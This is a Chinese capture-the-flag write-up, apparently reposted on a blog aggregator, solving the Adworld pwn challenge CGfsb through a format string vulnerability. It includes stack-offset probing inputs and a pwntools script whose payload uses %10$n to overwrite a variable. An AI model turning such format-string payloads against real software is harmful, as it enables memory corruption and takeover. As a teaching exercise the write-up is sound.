CTF(pwn)-格式化字符串漏洞讲解(二) --攻防世界CGfsb
生活随笔
收集整理的這篇文章主要介紹了
CTF(pwn)-格式化字符串漏洞讲解(二) --攻防世界CGfsb
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
格式化字符串漏洞介紹:
https://blog.csdn.net/weixin_45556441/article/details/114080930
一.分析
pwnme的地址為 0x804A068
思路: 利用格式化字符串漏洞來使 pwnme的值為8;
二.做題過程
首先,我們得查一下我們輸入進去的數據在棧中偏移了多少,知道偏移量后我們才能將其對應起來
輸入 AAAA,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
或者 AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
可以得出,偏移量為10;
注:A轉化為16進制是0x41
三.解題腳本
from pwn import * p = remote('111.200.241.244', '52927') p.recvuntil("please tell me your name") p.send('小明') p.recvuntil("leave your message please") payload=p32(0x0804a068)+"aaaa%10$n" p.send(payload) p.interactive()四. payload 詳解:
p32(0x0804a068)是pwnme的地址;
"aaaa%10$n":
aaaa是因為:這里四個a的作用是填充字符數,因為p32函數將pwnme地址轉化成四個字節的小端序字符,我們希望寫入pwnme的數字是8,因此再填充4個任意字符。
舉個其他的例子🌰: %85c%7$n,作用是將85寫入棧內第7個參數所指向的地址。
10 是指10個偏移量
$ 是偏移符號
%n -打印到目前為止所寫的字符數
總結
以上是生活随笔為你收集整理的CTF(pwn)-格式化字符串漏洞讲解(二) --攻防世界CGfsb的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTF(pwn)-格式化字符串漏洞讲解(
- 下一篇: 在Ubuntu虚拟机中编译运行C程序